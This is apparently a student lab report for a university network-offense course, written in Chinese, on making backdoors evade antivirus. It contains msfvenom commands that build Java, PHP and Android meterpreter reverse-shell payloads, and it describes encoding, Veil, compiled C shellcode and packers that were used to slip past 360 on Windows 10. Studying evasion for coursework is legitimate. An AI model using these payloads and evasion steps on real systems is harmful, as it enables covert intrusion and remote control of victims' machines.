• 20175122邱昕网络对抗技术exp3《免杀原理与实践》


    20175122邱昕网络对抗技术exp3《免杀原理与实践》

    1. 实践内容(4分)

      1.1 方法(3分)

           - 正确使用msf编码器(0.5分),

           - msfvenom生成如jar之类的其他文件(0.5分),

           - veil(0.5分),

           - 加壳工具(0.5分),

           - 使用C + shellcode编程(0.5分),

           - 使用其他课堂未介绍方法(0.5分)

        1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)

            (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

         1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

    1.正确使用msf编码器

    使用VirusTotal或Virscan这两个网站对实验二中生成的后门程序5122backdoor.exe扫描

    用msf编码器对后门程序1次编码,用VirusTotal或Virscan这两个网站检测

    10次编码

    可见多次编码对于免杀没有太大的帮助

    因为shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要找到了这一部分,就能查出这是恶意代码。而且msfvenom总以固定的模版来生成exe文件。它所有生成的exe文件,如果使用默认参数或者模版,也有一定的固定特征,所以一般来说AV厂商会针对msf使用的模板生成特征码

    侦测,这样就能解决所有msfvenom生成的恶意代码了。

    2.msfvenom生成如jar之类的其他文件

    使用msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.81.130 LPORT=5122 x > java5122backdoor.jar生成java后门

    生成php后门程序 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.81.130 LPORT=5122 x > php5122backdoor.php

    生成apk文件msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.81.130 LPORT=5122 x > apk5122backdoor.apk

    3.veil的安装及生成后门程序

    关于veil和wine的安装道阻且长,由于过于坎坷没有截图,可参考同学们的博客,云班课中的讨论,csdn中的资料等等,反正各种方法我都试了,克隆是最慢的,wine是最常出错的,最后我也没明白自己怎么成功了,提一句,在克隆的时候把防火墙3600打开会快一点,原理不明。总的来说这一步应该是最麻烦的,无论哪个同学这一步都是出错最多的地方

     

    第一次成功的截图已经半夜一点多了,装的我心力憔悴,先睡了明天早上还有课

     进行一系列的设置

    上传网站检测

    4.使用C + shellcode编程

    用msf生成一段shellcode

    vi 5122.c创建c文件并将shellcode放进去

    i686-w64-mingw32-g++ 5122.c -o c_shellcode5122.exe编译为可执行文件

    检测

     

    5.加壳工具

    压缩壳:upx

    进行检测(吐槽一下virscan,老是传不上去)还是能检测出来

    加密壳:hyperion

    将upx5122.exe文件复制到hyperion文件夹中

    用wine hyperion.exe -v upx5122.exe hyperion5122.exe进行加壳

    检测出来了,失败

    shellter的使用

    将nc.exe移到kali目录下

    检测出来了,失败

    6.通过组合应用各种技术实现恶意代码免杀

    这里我用的是veil的其他方法,并进行加壳操作

    加壳操作截图省略,过程参考上面

    检测

    setup.py的检测

    runme.bat的检测

    和杀毒软件能够共生

    7.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    win10,360

     

    8.基础问题回答

      (1)杀软是如何检测出恶意代码的?

    有基于特征码检测的,有基于行为检测的,

    特征码:如果一个可执行文件含有一段或多段特征码,就会被认为是恶意代码

    行为检测:如果一个可执行文件莫名其妙连到一个奇怪的ip,无论是回连还是被动连接都可能会被认为是恶意代码

      (2)免杀是做什么?

    让恶意代码不被木马发现或没那么容易发现

      (3)免杀的基本方法有哪些?

    改变特征码,

    压缩壳,加密壳,shellcode编码,veil

    改变连接方式

    尽可能多的使用回连即反弹式连接、使用隧道技术、加密通讯数据

     

    9.实践总结与体会

    到现在为止最难的一次实验吧,从veil的安装的频频出错,到杀软不断的把自己排列组合出来的后门程序检测出来,都挺难的,还好最后成功免杀了,最后说一句,360真垃圾。

    10.开启杀软能绝对防止电脑中恶意代码吗?

    不能,全新的恶意代码是几乎没有可能通过特征码来识别的,而基于行为的检测需要的时间更长

  • 相关阅读:
    《Java基础学习笔记》JAVA修饰符之私有化(Private)
    《Java基础学习笔记》JAVA之静态代码块
    《Java基础学习笔记》JAVA之构造函数和构造代码块
    《Java基础学习笔记》JAVA面向对象
    在C#.NET中,如何生成PDF文件?主要有以下几个途径:(转)
    ckeditor与ckfinder的使用方法 .NET (转载)
    ckeditor3.3.1编辑区自动换行(转)
    iTextSharp 使用详解(转)
    .net DataGrid绑定列手动添加数据
    操作必须使用一个可更新的查询
  • 原文地址:https://www.cnblogs.com/qiuxin/p/12614522.html
Copyright © 2020-2023  润新知